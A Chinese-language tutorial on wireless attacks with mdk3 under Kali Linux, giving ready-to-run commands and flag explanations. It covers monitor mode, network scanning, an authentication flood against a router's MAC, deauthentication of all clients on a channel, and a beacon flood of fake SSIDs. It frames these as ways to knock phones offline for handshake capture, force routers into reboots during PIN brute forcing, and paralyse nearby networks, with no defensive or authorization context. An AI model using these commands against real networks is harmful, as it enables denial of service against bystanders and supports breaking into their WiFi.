Kali Linux mdk3WiFi洪水攻击 攻击路由器 生成虚假WiFi WiFi身份验证攻击可使连接WiFi的手机掉线重连抓包

将无线网卡转换为监听模式

airmon-ng start wlan0

查找附近无线网络

airodump-ng wlan0mon

Authentication DoS：（洪水攻击，又叫做身份验证攻击）

mdk3 wlan0mon a -a 路由器Mac地址

这是一种验证请求攻击模式：在这个模式里，软件自动模拟随机产生的mac向目标AP发起大量验证请求，可以导致AP忙于处理过多的请求而停止对正常连接客户端的响应；这个模式常见的使用是在reaver穷据路由PIN码，当遇到AP被“pin死”时，可以用这个模式来直接让AP停止正常响应，迫使AP主人重启路由，对于有些路由器防DOS的这个不好用。

mdk3 mon0 a

   -a               #测试指定BSSID
      -m              #使用有效数据库中的客户端mac地址
      -c          #对应 -a ，不检查是否测试成功
      -i             #对指定BSSID进行智能攻击
      -s                #速率，默认50 播数据包的速度 ，帧数越大，传播速度越快

Deauthentication/Disassociation Amok：（强制解除验证解除连接）

mdk3 wlan0mon d -c 11  攻击指定的频道

让频道为 11 所有计算机都掉线

在这个模式下，软件会向周围所有可见AP发起循环攻击…可以造成一定范围内的无线网络瘫痪（当然有白名单，黑名单模式），直到手动停止攻击！

mdk3 mon0 d

-w <白名单文件的位置> MAC地址白名单里的所有MAC地址都能正常连接WIFI
-b <黑名单文件的位置> MAC地址黑名单里的所有MAC地址全部解除与路由器的连接
-s <帧数> 设置广播数据包的速度 ，帧数越大，传播速度越快
 -c [chan,chan,chan,...]                  #信道，可以多填，如 2,4,5,1

Beacon flood mode：

mdk3 wlan0mon b -f wifi.txt -a -s 300 使用root目录下的wifi.txt文件列表制作一个WPA/2加密的WIFI信号并且传输速率为 300
  这个模式可以产生大量死亡SSID来充斥无线客户端的无线列表，从而扰乱无线使用者；我们甚至还可以自定义发送死亡SSID的BSSID和ESSID、加密方式（如wep/wpa2）等。 -f <WIFI名称列表文件的所在位置> 使用此WIFI列表发起信号溢出攻击
-v <带WIFI名称和MAC地址的对应文件所在位置> 使用此WIFI列表和MAC地址列表发起信号溢出攻击
-w 加密方式为WEP
-t 加密方式为WPA/PSK
-a 加密方式为WPA/2
-g 54M模式
-m 读取数据库中的MAC地址列表
-c <信道数> 设置这些伪造的这些WIFI信号的信道数
-s <帧数> 设置广播这些伪造WIFI数据包的速度，速度越快用户接受到的列表越多越快，但是对网卡有一定影响